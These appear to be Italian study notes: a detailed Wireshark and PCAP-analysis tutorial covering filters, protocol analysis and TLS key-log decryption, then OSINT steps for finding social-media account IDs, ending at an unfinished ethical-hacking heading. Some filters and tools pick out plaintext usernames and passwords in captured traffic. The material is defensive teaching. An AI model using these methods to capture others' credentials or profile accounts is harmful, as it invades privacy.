Identificati i pacchetti di interesse in Wireshark, il passo successivo è l’analisi approfondita dei dati che contengono. Wireshark offre un riquadro dedicato chiamato dettagli dei pacchetti, che consente di esplorare in dettaglio l’incapsulamento dei protocolli e i dati trasportati da ciascun pacchetto. I dettagli dei pacchetti sono organizzati gerarchicamente, rispecchiando l’incapsulamento dei protocolli all’interno del pacchetto. Questo permette di visualizzare ogni livello di dati, dal più esterno al più interno. Ecco un esempio tipico di come potrebbero essere strutturati i dettagli per un pacchetto contenente dati HTTP:

Figura 2 – Pacchetto frame
  • Frame: mostra il pacchetto dati catturato completo di tutti i metadati associati, come l’ora di cattura, la lunghezza del frame, e altre informazioni utili (Figura 2);
Figura 3 – Trama Ethernet II
  • Ethernet II: mostra la trama Ethernet, il primo livello di incapsulamento, che include dettagli come l’indirizzo MAC sorgente e destinazione e il tipo di protocollo, tipicamente IP (Figura 3);
Figura 4 – Pacchetto IPv4
  • IP Version 4:il pacchetto IP incapsulato dentro la trama Ethernet. Mostra i dettagli come l’indirizzo IP sorgente e destinazione, la versione del protocollo, il tipo di servizio, e altri parametri relativi al protocollo IP (Figura 4);
Figura 5 – Segmento TCP
  • TCP: il segmento TCP incapsulato dentro il pacchetto IP, include informazioni come le porte sorgente e destinazione, i numeri di sequenza e di conferma, e altri dettagli relativi alla gestione della connessione TCP (Figura 5);
Figura 6 – HTTP
  • HTTP: l’unità di dati HTTP trasportata nel segmento TCP. Qui vengono visualizzate informazioni specifiche dell’HTTP, come il metodo di richiesta (GET, POST, ecc.), l’URL richiesto e gli header HTTP (Figura 6).

Nel vasto e complesso mondo delle reti, la capacità di monitorare e analizzare il traffico di rete è fondamentale per garantire la sicurezza, la stabilità e l’efficienza delle comunicazioni digitali. Wireshark offre gli strumenti necessari per esaminare dettagliatamente il flusso dei dati attraverso una rete, è in grado di catturare e visualizzare il contenuto dei pacchetti di rete in tempo reale, permettendo una profonda analisi di vari protocolli essenziali. Tra questi troviamo:

  • ARP risolve il problema di mappare un indirizzo IP, utilizzato nei pacchetti di rete, all’indirizzo MAC fisico della scheda di rete. L’analisi del traffico ARP è cruciale per (v. Appendice “Analizzare il traffico ARP utilizzando Wireshark”):

identificare problemi di rete: come conflitti di indirizzi IP o problemi di risoluzione degli indirizzi;

rilevare attività sospette: come attacchi di ARP spoofing o ARP poisoning, dove un malintenzionato potrebbe tentare di intercettare o alterare il traffico modificando le risposte ARP.

  • ICMP è fondamentale per la gestione e il debug delle reti IP. Viene spesso utilizzato per testare la connettività e tracciare il percorso dei pacchetti attraverso la rete ad esempio mediante i comandi come ping e traceroute (v. Appendice “Come analizzare i messaggi ICMP in Wireshark”)
  • TCP, UDP e porte associate. Quando si analizza il traffico di rete con Wireshark, è possibile vedere l’indirizzo IP e il numero di porta per i protocolli TCP e UDP in ogni pacchetto. Questo aiuta a identificare non solo l’origine e la destinazione dei dati a livello di rete, ma anche l’applicazione specifica a cui i dati sono destinati. L’identificazione delle porte utilizzate può fornire indizi vitali in scenari di troubleshooting di rete, sicurezza informatica e conformità di configurazione di rete (v. Appendice “Analisi di TCP e UDP in Wireshark”).
  • Domain Name System (DNS). Traduce i nomi di dominio facilmente memorizzabili in indirizzi IP numerici che le macchine possono comprendere e a cui possono connettersi (v. Appendice “Analisi del traffico DNS in Wireshark”):

– la maggior parte delle comunicazioni DNS avviene tramite UDP su porta 53, per la sua efficienza in termini di velocità e utilizzo ridotto delle risorse, ideale per le brevi query DNS;

– il DNS usa anche TCP, soprattutto per operazioni che richiedono affidabilità o per risposte che superano il limite di dimensione del pacchetto UDP (512 byte), come nei trasferimenti di zona tra server DNS.

richiesta (Request): il client web invia una richiesta al server per ottenere dati o per inviare informazioni. Le richieste più comuni includono il metodo GET per richiedere dati e POST per inviare dati al server;

risposta (Response): il server elabora la richiesta e invia una risposta al client. La risposta include uno status code che indica il successo o il fallimento della richiesta, dati (se richiesti), e header che forniscono informazioni aggiuntive.

  • HTTPS (HTTP Secure). Utilizza il protocollo Transport Layer Security (TLS) per cifrare le comunicazioni tra il client e il server, garantendo così privacy e sicurezza dei dati trasmessi. Wireshark può essere usato per analizzare il traffico TLS/SSL, sebbene il contenuto specifico delle comunicazioni sia cifrato e non direttamente leggibile (v. Appendice “Analisi del Traffico HTTPS e Decodifica di TLS in Wireshark”). La decodifica del traffico TLS in Wireshark richiede l’accesso alle chiavi di sessione, che non sono trasmesse in rete ma generate localmente da client e server durante l’handshake TLS. Per analizzare i dati HTTPS (nascosti dentro il livello TLS) è necessario esportare queste chiavi mentre il browser web stabilisce una connessione TLS (v. Appendice “Decodifica del traffico TLS in Wireshark utilizzando le chiavi di sessione”). Ogni protocollo ha un ruolo unico e critico nella facilitazione e nella sicurezza delle comunicazioni su Internet e l’analisi di questi protocolli attraverso Wireshark è cruciale per diagnosticare problemi di rete, ottimizzarne le prestazioni nonché a mitigare gli attacchi informatici.

La decodifica del traffico TLS in Wireshark richiede l’accesso alle chiavi di sessione, che non sono trasmesse in rete ma generate localmente da client e server durante l’handshake TLS. Per analizzare i dati HTTPS (nascosti dentro il livello TLS) è necessario esportare queste chiavi mentre il browser web stabilisce una connessione TLS. Ogni protocollo ha un ruolo unico e critico nella facilitazione e nella sicurezza delle comunicazioni su Internet e l’analisi di questi protocolli attraverso Wireshark è cruciale per diagnosticare problemi di rete, ottimizzarne le prestazioni nonché a mitigare gli attacchi informatici.

Oltre a Wireshark (v. Appendice “Wireshark – personalizzazione dell’area di lavoro” e Appendice “Wireshark – predisposizione dell’area di lavoro”), esistono diversi altri strumenti utili per l’analisi di file PCAP. Questi strumenti offrono funzionalità specializzate che possono completare o estendere le analisi effettuate con Wireshark, particolarmente utili per identificare minacce, analizzare malware, e visualizzare le connessioni di rete:

A-Packets, permette:

  • analisi generale: caricando un file PCAP su A-Packets, si ottiene un report dettagliato che include l’analisi dei protocolli di rete e i file presenti nel traffico;
  • estrazione di credenziali: il sito offre funzionalità per estrarre le credenziali che possono essere trasmesse nel traffico di rete;
  • visualizzazione di rete: mostra una rappresentazione grafica degli host e delle loro interconnessioni, facilitando la comprensione delle relazioni di rete.

Note: I file caricati su A-Packets diventano pubblicamente accessibili, quindi è importante considerare la sensibilità dei dati prima di utilizzare questo servizio.

Hybrid Analysis, permette:

  • analisi malware: focalizzata sulla verifica della presenza di malware nei file PCAP;
  • sandbox: offre una sandbox per l’analisi di sicurezza, che può essere utile per esaminare i file estratti dai PCAP in un ambiente controllato.

Note: i risultati sono generalmente molto sintetici e orientati esclusivamente all’identificazione di malware.

VirusTotal, permette:

  • analisi malware: VirusTotal analizza i file PCAP per la presenza di malware e fornisce risultati dettagliati;
  • analisi IDS: include un’analisi Intrusion Detection System (IDS) che può rilevare attività sospette o malevole;
  • Community: se il malware è noto, la sezione Community può fornire ulteriori informazioni utili condivise da altri utenti.

PacketTotal, permette:

  • analisi di rete: non si concentra sull’analisi di malware, ma offre strumenti per esaminare le connessioni di rete dentro il PCAP;
  • strumenti integrati: include funzionalità per il whois e la geolocalizzazione;
  • grafici del traffico: fornisce una rappresentazione grafica dello stream di dati, simile a quella di Wireshark, aiutando a visualizzare il flusso di traffico in maniera intuitiva.

Network Miner è un potente strumento forense che si specializza nell’estrarre e visualizzare informazioni dai file PCAP. È particolarmente utile per gli analisti che necessitano di un’analisi rapida e diretta delle comunicazioni di rete. Questo strumento è spesso usato in complemento a Wireshark per offrire una vista più orientata ai dati estratti piuttosto che alla pura analisi del traffico:

  • Hosts: mostra un elenco di host coinvolti nel traffico di rete;
  • Files: elenca i file trasferiti attraverso la rete, che possono essere esaminati o scaricati direttamente dall’interfaccia;
  • Sessions: fornisce una panoramica delle sessioni di comunicazione tra i dispositivi;
  • Credentials: rivela credenziali che potrebbero essere state trasmesse in chiaro.

ANY.RUN è un servizio di analisi malware basato su sandbox che permette agli utenti di eseguire file sospetti in un ambiente controllato e sicuro, garantisce:

  • ambiente isolato: utilizza una macchina virtuale (VM) Windows 7 per isolare il malware dal sistema operativo principale e dalla rete locale;
  • interattività: fornisce un ambiente interattivo, consentendo agli utenti di interagire direttamente con il sistema operativo della VM durante l’analisi;
  • monitoraggio in tempo reale: durante l’esecuzione del malware, ANY.RUN visualizza in tempo reale le connessioni di rete e l’albero dei processi generati dall’eseguibile;
  • community e database: gli utenti possono accedere a un database di analisi precedenti, che include i dettagli delle minacce più comuni e recenti, consentendo uno studio approfondito prima di iniziare nuove analisi.

CyberChef, sviluppato dall’agenzia di intelligence britannica GCHQ, è uno strumento versatile per l’analisi e la manipolazione di dati. Viene chiamato “il coltellino svizzero della cyber-security” vista la grande quantità di tools di cui dispone.

Tra le tante categorie di operazioni disponibili vi sono:

  • operatori aritmetici e logici;
  • conversione di formato;
  • codifica e decodifica, crittografia e hashing;
  • compressione e decompressione dati, strumenti di elaborazione grafica;
  • estrazione di dati, stringhe e files.

Wireshark – uso dei filtri di cattura

Wireshark è uno strumento estremamente potente per l’analisi di rete e comprendere come utilizzare efficacemente i filtri di cattura può significativamente migliorare l’efficienza delle sessioni di monitoraggio. Ecco una guida per configurare e applicare filtri di cattura.

Configurazione Iniziale

All’avvio, Wireshark mostra l’elenco delle interfacce di rete disponibili:

  • grafico dell’interfaccia: accanto a ciascuna interfaccia c’è un grafico che mostra l’attività di rete in tempo reale, facilitando l’identificazione delle interfacce attive;
    • avvio della cattura: un doppio clic su un’interfaccia avvia la cattura del traffico su quella specifica interfaccia.

Finestra opzioni di cattura

Per accedere:

  • dal menu Cattura selezionare Opzioni;
  • Selezione Multipla: seleziona più interfacce per la cattura simultanea;
  • File di Cattura: definisce un file per salvare i dati catturati, specifica una dimensione massima e imposta la rotazione del file per gestire grandi quantità di dati;
  • Risoluzione dei Nomi: abilita la risoluzione dei nomi per gli indirizzi IP e per il livello di trasporto, facilitando la lettura e l’analisi del traffico.

Filtri di cattura

A differenza dei filtri di visualizzazione, i filtri di cattura limitano i dati al momento dell’acquisizione. Ciò significa che i dati non corrispondenti al filtro non saranno disponibili in Wireshark dopo la cattura.

Come inserire un filtro di cattura:

  • nella finestra Opzioni di Cattura, vi è un campo dedicato ai filtri di cattura;
  • scegliere un filtro predefinito cliccando il nastro verde accanto al campo di inserimento o scrivere manualmente il filtro.

Esempi di filtri di cattura

  • Cattura traffico da un singolo host:

host 192.168.0.99

  • Cattura traffico da una rete specifica:

src net 10.1.0.0/16

oppure:

src net 10.1.0.0 mask 255.255.0.0

  • Cattura traffico HTTP diretto a una porta specifica:

tcp dst port 80

  • Escludere il traffico IP:

not ip

  • Cattura traffico non-broadcast:

not broadcast

  • Cattura pacchetti di dimensione specifica:

less 250

oppure:

greater 250 and ip

  • Cattura traffico da VLAN specifiche:

vlan 10 or vlan 20

  • Cattura traffico destinato a un MAC specifico:

ether dst 01:00:0c:cc:cc:cc

(torna su)

Analizzare una cattura usando i filtri di visualizzazione

La sintassi di base per creare un’espressione di filtraggio richiede la specifica di un protocollo seguito da un dettaglio del protocollo, utilizzando un formato protocollo.campo:

Esempio: ip.addr == 192.168.1.1 seleziona tutti i pacchetti che contengono l’indirizzo IP specificato, sia come mittente che come destinatario.

Gli operatori di confronto sono fondamentali nella costruzione dei filtri:

  • == oppure eq: uguale a;
  • != oppure neq: diverso da;
  • > oppure gt: maggiore di;
  • < oppure lt: minore di.

Per combinare più condizioni, si utilizzano gli operatori logici:

  • && oppure and: entrambe le condizioni devono essere soddisfatte;
  • || oppure or: una delle condizioni deve essere soddisfatta;

Esempio: ip.src == 192.168.1.151 && ip.dst == 62.10.45.151 seleziona solo il traffico dall’indirizzo IP sorgente al destinatario specificato.

Filtraggio per protocollo o porta

Per selezionare traffico specifico basato su protocolli o porte, si possono utilizzare espressioni come:

  • tcp.port == 80 || http: seleziona tutto il traffico HTTP.
  • udp.port == 53 || dns: seleziona tutte le query DNS.

Ricerca di stringhe con contains

L’operatore contains è utilizzato per cercare specifiche stringhe all’interno dei pacchetti:

Esempio: dns contains “google” trova tutti i pacchetti DNS che includono il termine “google”.

(torna su)

Analizzare il traffico ARP utilizzando Wireshark

Per analizzare il traffico ARP utilizzando Wireshark, seguire questi passaggi:

  1. Filtrare il Traffico ARP: digitare arp nella barra di filtraggio di Wireshark per isolare il traffico ARP. Questo filtro visualizzerà tutti i pacchetti ARP scambiati nella rete.
  2. Selezionare un Messaggio ARP: cliccare su un pacchetto ARP nell’elenco per visualizzarne i dettagli nel pannello dei dettagli.
  3. Esaminare i Dettagli del Messaggio ARP: nel Pannello dettagli, sotto la voce “Ethernet II”, vi è la sezione ARP che include i seguenti campi:
    1. Opcode: indica il tipo di messaggio ARP, dove 1 rappresenta una REQUEST e 2 un REPLY;

indirizzi IP e MAC: mostra gli indirizzi IP e MAC dell’host sorgente e del destinatario. Notare che l’ARP REQUEST è inviato al broadcast, cioè all’indirizzo MAC di destinazione ff:ff:ff:ff:ff:ff.

(torna su)

Come analizzare i messaggi ICMP in Wireshark

Per analizzare i Messaggi ICMP utilizzando Wireshark, seguire questi passaggi:

  1. filtrare il Traffico ICMP: digitare icmp nella barra di filtraggio di Wireshark per isolare solo il traffico ICMP;
  2. selezionare un pacchetto ICMP: nella lista dei pacchetti filtrati, selezionare un pacchetto che si desidera analizzare. I pacchetti di Echo Request e Echo Reply sono facilmente identificabili dai loro tipi;
  3. esaminare i dettagli dei pacchetti:
    1. nel pannello dei dettagli di Wireshark, cercare la sezione ICMP che si trova subito sotto la sezione di IPv4;
    1. osservare il campo Type per identificare il tipo di messaggio ICMP:
      1. Type 8: ICMP Echo Request;
      1. Type 0: ICMP Echo Reply;
    1. il Timestamp mostra l’orario esatto in cui il messaggio è stato inviato dall’host originale, che può essere utile per calcolare la latenza.

(torna su)

Analisi di TCP e UDP in Wireshark

Quando si utilizza Wireshark per analizzare il traffico di rete, comprendere le differenze tra TCP (Transmission Control Protocol) e UDP (User Datagram Protocol) è fondamentale per l’interpretazione dei dati di rete. Ecco come analizzare questi due protocolli cruciali usando Wireshark.

Filtraggio TCP e UDP

Per iniziare l’analisi:

  1. filtraggio: inserire tcp o udp nella barra di filtraggio di Wireshark per isolare il traffico corrispondente;
  2. selezione del pacchetto: scegliere un pacchetto per analizzare i dettagli nel pannello dei dettagli, immediatamente sotto il livello di IPv4.

Dettagli TCP in Wireshark

Con TCP, si troveranno informazioni dettagliate utili per monitorare e diagnosticare la connessione:

  • Sequence Number e Acknowledge Number: questi numeri sono cruciali per il controllo di flusso e per garantire che i dati siano trasmessi in modo affidabile e in ordine.
  • flags di TCP: i flags come SYN, ACK, e FIN sono utilizzati per gestire lo stato della connessione. Ad esempio:
    • SYN: utilizzato per iniziare una connessione;
    • SYN-ACK: risposta dal server per accettare la connessione;
    • ACK: utilizzato per confermare la ricezione dei pacchetti;
    • FIN: indica la chiusura di una connessione;
    • RST: quando l’handshake a tre vie non viene concluso correttamente, ad esempio per indisponibilità del servizio, il server restituirà altri messaggi di controllo, come il RST (reset).

L’analisi dei flags è importante per identificare il comportamento della connessione, come l’inizio e la conclusione delle sessioni TCP o possibili anomalie nelle connessioni di rete.

Seguire il Flusso TCP

Per una visione più dettagliata della comunicazione tra client e server:

  1. attivare “Segui il Flusso TCP”: dopo aver selezionato un pacchetto TCP, clic destro e selezionare “Segui” e poi “Flusso TCP”. Questo aprirà una nuova finestra con i dati trasmessi nel flusso TCP;
  2. analisi del dialogo: I dati vengono visualizzati con i messaggi del client in rosso e quelli del server in blu, facilitando la visualizzazione della conversazione tra i due;
  3. leggibilità dei dati: la facilità di lettura dei dati dipende dal protocollo di livello applicativo trasportato. Per esempio, il traffico HTTP è generalmente più facile da interpretare rispetto ad altri protocolli meno verbosi.

Dettagli UDP in Wireshark

UDP è meno complesso rispetto a TCP in quanto non stabilisce una connessione e non garantisce il controllo di flusso o la conferma di ricezione.

(torna su)

Analisi del traffico DNS con Wireshark

  1. filtraggio del Traffico DNS: per analizzare il traffico DNS in Wireshark, digitare dns nella barra di filtraggio per isolare solo i pacchetti DNS;
  2. esaminare le Query e le Risposte DNS:
    1. nel pannello dei dettagli di Wireshark, è possibile vedere la struttura delle query e delle risposte DNS. Questo include i nomi di dominio richiesti, i tipi di record (come A, AAAA, MX), gli indirizzi IP risolti, e altri dettagli DNS;
    1. ogni pacchetto DNS mostrerà se si tratta di una query o di una risposta e includerà dettagli come il numero di record nella risposta e gli eventuali errori (es. “Non-Existent Domain”).
  3. monitoraggio per anomalie:
    1. analizzare il traffico DNS può aiutare a identificare comportamenti anomali come attività di malware, che spesso utilizzano query DNS per comunicare con i server di comando e controllo;
    1. l’alta frequenza di query DNS fallite o un volume insolitamente elevato di query può essere indicativo di configurazioni errate o attività sospette.

(torna su)

Analisi del Traffico HTTP in Wireshark

Per analizzare il traffico HTTP in Wireshark:

  1. impostare il filtro: digitare http nella barra di filtraggio di Wireshark per visualizzare solo i pacchetti http;
  2. selezionare un pacchetto: cliccare su un pacchetto di interesse per visualizzare i dettagli nel pannello inferiore.

Dettagli del traffico HTTP in Wireshark

Nel pannello dettagli di Wireshark, sotto il livello TCP, si trova il livello HTTP che include:

  • Content-Type: indica il tipo di dati trasferiti, come text/html per le pagine web o application/json per dati in formato JSON;
  • Server: il software server che gestisce la richiesta;
  • Request URI: l’URI specifico richiesto dal client;
  • User-Agent: identifica il client web e il sistema operativo utilizzato per fare la richiesta;
  • Referrer: l’URL della pagina che ha originato la richiesta.

Seguire il flusso TCP

Per una visione completa della conversazione:

  1. selezionare “Segui Flusso TCP”: clic destro sul pacchetto quindi Analizza > Segui > Flusso TCP. Questo mostra l’intera conversazione tra client e server, inclusi tutti i dati trasmessi;
  2. analisi: la finestra del flusso TCP permette di leggere l’interazione completa, visualizzando i dati trasferiti e gli header HTTP in un formato leggibile.

Utilizzare il Menu Statistiche

Per una panoramica più ampia:

  • gerarchia di protocolli: nel menu Statistiche, selezionare Gerarchia di Protocolli per vedere una sintesi dei protocolli usati nella cattura, inclusi quelli trasportati via http;
  • esportazione di oggetti HTTP: Da File > Esporta Oggetti > HTTP, è possibile esportare elementi come immagini, fogli di stile e script che sono stati trasferiti via HTTP.

(torna su)

Analisi del traffico HTTPS e decodifica di TLS in Wireshark

Analisi di HTTPS – TLS in Wireshark

  1. filtrare il traffico TLS: inserire tls nella barra di filtraggio di Wireshark per isolare il traffico TLS;
  2. esaminare i dettagli TLS:
    1. nel pannello dettagli, sotto il livello TCP, si trova il livello TLS;
    1. HTTP nascosto: poiché il traffico HTTP è cifrato, non comparirà esplicitamente. Sarà indicato come “Encrypted Application Data”;
    1. dettagli TLS: analizzare i messaggi di “Client Hello” e “Server Hello” per vedere dettagli come la versione TLS, i metodi di cifratura negoziati e i numeri casuali usati per generare la chiave di sessione;
    1. chiave pubblica: nel certificato del server, si può vedere la chiave pubblica usata per la negoziazione della cifratura;
  3. visualizzazione di certificati e handshake: è possibile esaminare i certificati scambiati e i dettagli dei messaggi di handshake per avere un’idea di come viene stabilita la sicurezza prima di trasmettere dati sensibili.

Limitazioni nell’analisi di TLS in Wireshark

Decifrare i dati TLS: Wireshark non può decifrare i dati TLS senza le appropriate chiavi di decifrazione. Tuttavia, è possibile configurare Wireshark per decifrare il traffico TLS se si ha accesso alle chiavi di sessione o ai parametri di pre-master secret.

(torna su)

Decodifica del traffico TLS in Wireshark utilizzando le chiavi di sessione

Ecco come farlo utilizzando Firefox e configurando Wireshark per utilizzare il file di log delle chiavi.

Configurazione di Firefox per esportare le chiavi di sessione TLS

  • impostazione della variabile di ambiente SSLKEYLOGFILE:
    • chiudere Firefox e Wireshark: assicurarsi che entrambe le applicazioni siano chiuse prima di modificare le impostazioni;
    • aprire le impostazioni di sistema:
      • nel menu di Avvio cercare “env” o “environment variables”.
      • cliccare su “Modifica le variabili d’ambiente per il tuo account”;
    • aggiungere la variabile SSLKEYLOGFILE:
      • clicca su “Nuova…” per creare una nuova variabile d’ambiente;
      • assegnare come nome della variabile SSLKEYLOGFILE;
      • come valore della variabile, impostare un percorso per il file di log, ad esempio: %USERPROFILE%\Documents\sslkey.log.
    • salvare e chiudere: confermare e chiudi tutte le finestre di dialogo;
  • verifica della configurazione:
    • riaprire Firefox e visitare un sito HTTPS;
    • verificare che il file sslkey.log sia stato creato nel percorso specificato e controllare se contiene le chiavi di sessione;

Importazione delle chiavi di sessione in Wireshark

  1. avviare Wireshark e iniziare una cattura: avviare una cattura di rete in Wireshark mentre si usa Firefox per generare traffico HTTPS;
  2. configurazione delle preferenze di Wireshark per TLS:
    1. da ModificaPreferenzeProtocolsTLS;
    1. trovare la voce “(Pre)-Master-Secret log filename” e cliccare su Sfoglia….
    1. selezionare il file sslkey.log che si è precedentemente configurato e confermare;
  3. analizzare il traffico decodificato:
    1. con le chiavi di sessione importate, Wireshark sarà in grado di decodificare il traffico TLS e mostrare i dati HTTP in chiaro;
    1. per esaminare un flusso di comunicazione specifico, cliccare con il tasto destro su un pacchetto e selezionare SeguiFlusso TLS o Flusso HTTP per visualizzare l’intera conversazione tra client e server.

(torna su)

Wireshark – personalizzazione dell’area di lavoro

Wireshark offre ampie possibilità di personalizzazione per adattarsi meglio alle esigenze specifiche di ciascun utente o tipo di analisi. La personalizzazione può aiutare a migliorare l’efficienza nell’analisi del traffico di rete.

Creazione e gestione dei profili di configurazione

  • Creare un nuovo profilo:
    • da ModificaProfili di configurazione;
    • cliccare su Nuovo e assegnare un nome al nuovo profilo. Questo permette di personalizzare e salvare le impostazioni senza alterare il profilo Default.
  • Cambio del profilo: è possibile cambiare profilo ogni qual volta è necessario adattarsi a diversi scenari di analisi. Selezionare semplicemente il profilo desiderato dall’elenco nel menu dei profili di configurazione.
  • Esportazione e importazione di un profilo: questo è utile per trasferire le personalizzazioni su un’altra installazione di Wireshark. Dallo stesso menu dei profili, è possibile esportare un profilo e poi importarlo su un’altra macchina.

Modifica delle regole di colorazione

  • Accesso alle regole di colorazione:
    • da VisualizzaRegole di colorazione;
    • modificare le regole esistenti o aggiungerne di nuove cliccando sul simbolo +.
  • Personalizzazione dei colori: ogni regola è legata a un filtro di visualizzazione specifico. Definire il colore del testo e dello sfondo per rendere più intuitiva l’analisi visiva del traffico.

Configurazione delle colonne

  • Modifica delle colonne:
    • da ModificaPreferenzeAspetto;
    • eliminare colonne non necessarie o aggiungerne di nuove.
  • Aggiunta di nuove colonne:
    • assegna un nome alla nuova colonna e seleziona il dettaglio da visualizzare, come indirizzi IP o porte;
    • è possibile visualizzare i nomi risolti o mantenere i numeri con l’opzione resolved o unresolved.
  • Riorganizzazione delle colonne: è possibile trascina le colonne nella posizione desiderata per un’analisi più efficiente.

Memorizzazione dei filtri di visualizzazione

  • Aggiunta di filtri personalizzati:
    • utilizzare il pulsante + vicino alla barra di filtraggio per salvare i filtri utilizzati frequentemente.
    • assegnare un nome al filtro e, se necessario, aggiungere un commento per descriverne l’uso.
  • Utilizzo dei filtri salvati: i filtri salvati appariranno come pulsanti nella barra di filtraggio e saranno applicabili rapidamente con un clic.

(torna su)

Wireshark – predisposizione dell’area di lavoro

Per rafforzare la capacità di rilevamento di malware nel traffico di rete, è possibile configurare specificamente Wireshark per analizzare le sessioni HTTP e HTTPS:

Creazione di un nuovo profilo di configurazione: da ModificaProfili di configurazione e creare un nuovo profilo, es. “Analyst”.

Modifica delle colonne per analisi HTTP/HTTPS

  • aprire le preferenze: da ModificaPreferenzeAspetto.
  • configurazione delle colonne: rimuovere le colonne non necessarie e aggiungere le seguenti per ottimizzare l’analisi del traffico web:
    • Time: imposta il formato su UTC per garantire che l’ora sia uniforme e confrontabile globalmente;
    • Src e Dst: aggiungere colonne per gli indirizzi IP sorgente e destinatario;
    • Port: colonne per le porte sorgente e destinatario, utili per identificare il tipo di traffico;
    • Host: una colonna personalizzata che usa il filtro http.host o tls.handshake.extensions_server_name per visualizzare i nomi dei server web.
    • Info: per dettagli generali sulla trasmissione.

Impostazioni di data e ora: assicurarsi che il tempo sia impostato su UTC per la consistenza attraverso il menu VisualizzaFormato visualizzazione tempoData e ora del tempo UTC.

Creazione di pulsanti di filtraggio

Usare il pulsante + accanto alla barra di filtraggio per creare filtri rapidi:

  • (http.request or tls.handshake.type eq 1) and !(ssdp): filtra le richieste HTTP e i nomi di dominio HTTPS, escludendo il traffico SSDP;
  • (http.request or tls.handshake.type eq 1 or tcp.flags eq 0x0002 or dns) and !(ssdp): aggiunge TCP SYN e DNS alle sessioni HTTP e HTTPS.

Analisi delle conversazioni di rete e ricerca di minacce

  • Gerarchia dei protocolli: da StatisticheGerarchia di protocolli per vedere la distribuzione dei dati tra i protocolli;
  • Endpoint e conversazioni: utilizzare le opzioni sotto Statistiche per visualizzare gli endpoint e le conversazioni, che possono aiutare a identificare i “top talkers” o le connessioni sospette.
  • HTTP Requests: StatisticheHTTPRichieste per un elenco di richieste a server web, che può rivelare connessioni a domini sconosciuti o maligni.

Uso avanzato dei filtri di visualizzazione

  • udp.port eq 67: visualizza i messaggi DHCP inviati dai client che contengono l’indirizzo IP, l’indirizzo MAC e l’hostname;
  • nbns: mostra il traffico Netbios utilizzato tipicamente dagli host Windows, utile per ricavare l’hostname degli endpoint;
  • http.request: mostra tutte le richieste di accesso ai server web, che contengono utili info;
  • udp and !(dns): visualizza le connessioni UDP non attinenti al trasporto di DNS;
  • dns.qry.name contains dominio: mostra le richieste di risoluzione per il dominio indicato;
  • frame contains “MZ” and frame contains “DOS”: trova il trasferimento di eseguibili Windows. Le stringhe specificate sono i cosiddetti magic numbers (o anche file signatures[1]), piccole sequenze di caratteri poste all’inizio di ogni file grazie alle quali è possibile identificare il tipo di file; il magic number MZ identifica un file eseguibile per Windows.
  • l’operatore matches: simile a contains ma abilita l’uso delle espressioni regolari:
    • frame matches “\.(?i)(exe|zip|doc|xls|ppt|jar)”: visualizza i pacchetti che contengono file;
    • frame matches “(?i)(username|password)”: trova i pacchetti con credenziali;
    • frame matches “User-Agent: Mozilla.*”: visualizza solo le richieste HTTP dei client Mozilla

Attivazione della geolocalizzazione con MaxMind

Durante la ricerca di una minaccia risulta utile avere informazioni sulla provenienza geografica ovvero la nazionalità degli host coinvolti nelle conversazioni di rete; di base Wireshark non fornisce tali informazioni ma possono essere integrati grazie al database fornito dal sito di MAXMIND:

  • download dei database MaxMind: registrarsi e scaricare i file .mmdb[2] da MaxMind;
  • configurazione in Wireshark:
    • da ModificaPreferenzeName Resolution;
    • aggiungere la directory contenente i file .mmdb.

Utilizzo dei Filtri di Display per la Geolocalizzazione

Completata l’attivazione dei file di database si troveranno subito le nuove informazioni:

  • nel pannello dettagli di un pacchetto selezionato, espandendo il livello IPv4;
  • nella finestra dedicata alle statistiche per i terminatori di rete (endpoint), scheda IPv4, il pulsante Mappa posto a sinistra nella finestra permette di osservare gli indirizzi IP su di una mappa geografica.

Wireshark permette di utilizzare i dati di geolocalizzazione per filtrare il traffico di rete in base alla località geografica:

  • questo filtro visualizza tutti i pacchetti che hanno origine o destinazione nella città di Roma:

ip.geoip.city == “Rome”

  • filtro specifico per la città di destinazione:

ip.geoip.dst_city == “Dublin”

  • filtro per nazione di destinazione:

ip.geoip.dst_country == “Italy”

(torna su)


[1] https://en.wikipedia.org/wiki/List_of_file_signatures

[2] GeoLite2 ASN, GeoLite2 City e GeoLite2 Country

Individuazione dell’account ID

Breve raccolta di  procedure per l’individuazione dell’account ID

Il social network Facebook distingue tre tipologie di account:

  • Profilo
  • Pagina
  • Gruppo

Per individuare l’ID associato all’account Facebook occorre:

  • visualizzare la home dell’account, cliccare sulla stessa con il tasto destro del mouse e selezionare l’opzione “Visualizza sorgente pagina”;
  • cliccare CTRL+F e inserire le parole chiave “userID” (in caso di profilo), “pageID” (in caso di una pagina) e “groupID” (in caso di un gruppo);
  • cercare, nella pagina aperta CTRL + F,una delle parole chiave che sarà seguita da un codice numerico che rappresenta l’ID del profilo;

Per ulteriore conferma – una volta ricavato l’ID – provare su una nuova pagina l’url così composto: www.facebook.com/ID (inserire il numerico ricavato).

Per individuare l’ID associato all’account Tik Tok occorre:

  • visualizzare la home dell’account, cliccare sulla stessa con il tasto destro del mouse e selezionare l’opzione “Visualizza sorgente pagina”;
  • cliccare CTRL+F e inserire le parole chiave “uID”
  • cercare, nella pagina aperta CTRL + F,una delle parole chiave che sarà seguita da un codice numerico che rappresenta l’ID del profilo;

Accedere nell’account che – per Telegram – vengono distinti in:

  • utente
  • gruppo
  • supergruppo
  • canale privato

Andare in Search chats e inserire get_id_bot avendo come risposta: Your Chat ID is=ID (numerico ricavato).

Per individuare l’ID associato ad un profilo twitter si può utilizzare il link https://tweeterid.com

Inserire nel campo di ricerca l’handle, cliccare convert e l’applicazione restituirà un codice numerico che rappresenta l’ID del profilo twitter.

Analogamente, se si conosce l’ID, inserendolo e cliccando convert si otterrà l’handle dell’account twitter.

Per individuare l’ID associato all’account Instagram occorre:

  • visualizzare la pagina del profilo di interesse, cliccare sulla stessa con il tasto destro del mouse e selezionare l’opzione “Visualizza sorgente pagina”;
  • cliccare CTRL+F e inserire le parole chiave “profilePage”;
  • cercare, nella pagina aperta CTRL + F,le parole chiave che saranno seguite come segue (page_id: profilePage_: ID) da un codice numerico che rappresenta l’identificativo del profilo.

 Link per trovare da ID a USERNAME https://commentpicker.com/instagram-username.php?utm_content=cmp-true

Link per trovare da  USERNAME a ID  https://commentpicker.com/instagram-user-id.php

Ethical Hacker

Appunti raccolti durante il relativo corso seguito su Skills for All by Cisco, alla cui piattaforma rimando per il materiale necessario.

Comprendere l’hacking etico e il penetration testing

Introduzione

